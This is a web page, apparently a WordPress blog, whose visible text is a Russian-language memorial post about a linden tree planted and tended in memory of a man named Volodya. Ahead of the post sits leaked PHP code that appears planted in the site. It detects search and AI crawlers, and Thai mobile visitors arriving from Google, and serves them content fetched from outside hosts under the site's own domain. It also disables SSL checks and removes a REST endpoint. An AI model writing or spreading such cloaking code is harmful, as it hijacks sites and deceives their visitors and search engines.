$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Дерево памяти — Вечный путь к совершенству

Дерево памяти

Липа — дерево, которое не боится ничего. Это любимое Володино дерево.  Оно нравилось ему всем: прямой и стройный ствол, густая и пышная крона разных оттенков зеленого, долго стоит зеленым и красиво желтеет. А как красиво липа цветёт! Ну, и конечно, очень полезный липовый мед.  Как инженер,   Володя не мог пропустить и тот факт, что структура липовой древесины обретает необычайную крепость после пропитки смолой и высушивания. Наука доказала, что из липы можно делать… детали для станков и механизмов.  Детали из нее не уступают по прочности и долговечности металлическим, а иногда даже их превосходят.

Действительно, липа — замечательное дерево! Володя любил ими любоваться и  они приносили ему покой и умиротворение. Поэтому в память о нем во дворе дома посадили липку. Спасибо маме, что все организовала и 12 апреля, как только сошел снег и оттаяла земля, работники питомника привезли выбранное еще в  марте деревце. Первое время очень переживали, чтобы жильцы дома не стали возражать. Но все прошло благополучно и липка прижилась.

К середине июня она уже выглядела вот так. Радовала нас своей зеленью и активно подрастала ввысь.

С середины мая мы старались вокруг липки вырастить зеленый газон. Посадили  маргаритки, ромашки, которые цвели все лето. Все летние месяцы подсеивали разную траву и луговые цветы. Посеяли разные многолетние цветы и надеемся, что следующим летом зелени вокруг липки еще прибавится.

Такой была липка еще через месяц.

Но пришлось ей, конечно,  не легко. Вокруг много больных деревьев и вредители пытались обосноваться и на ней. Один за другим появлялись все новые и новые вредители. Путем частого полива, еженедельного опрыскивания разными средствами, подкормки и покраски ствола нам удалось ее отстоять. Но мы не унываем. Как повторял Володя: Ничего действительно стоящее не дается легко.

Из-за побеленного ствола издали стала походить на березу…

А вот так выглядит липка сейчас в середине осени, когда другие липы вокруг стоят уже голые. Она поняла, что сдаваться никогда нельзя.

Надеемся на добрую и мягкую зиму и ждем когда она подрастет на столько, что сможет порадовать первым цветением.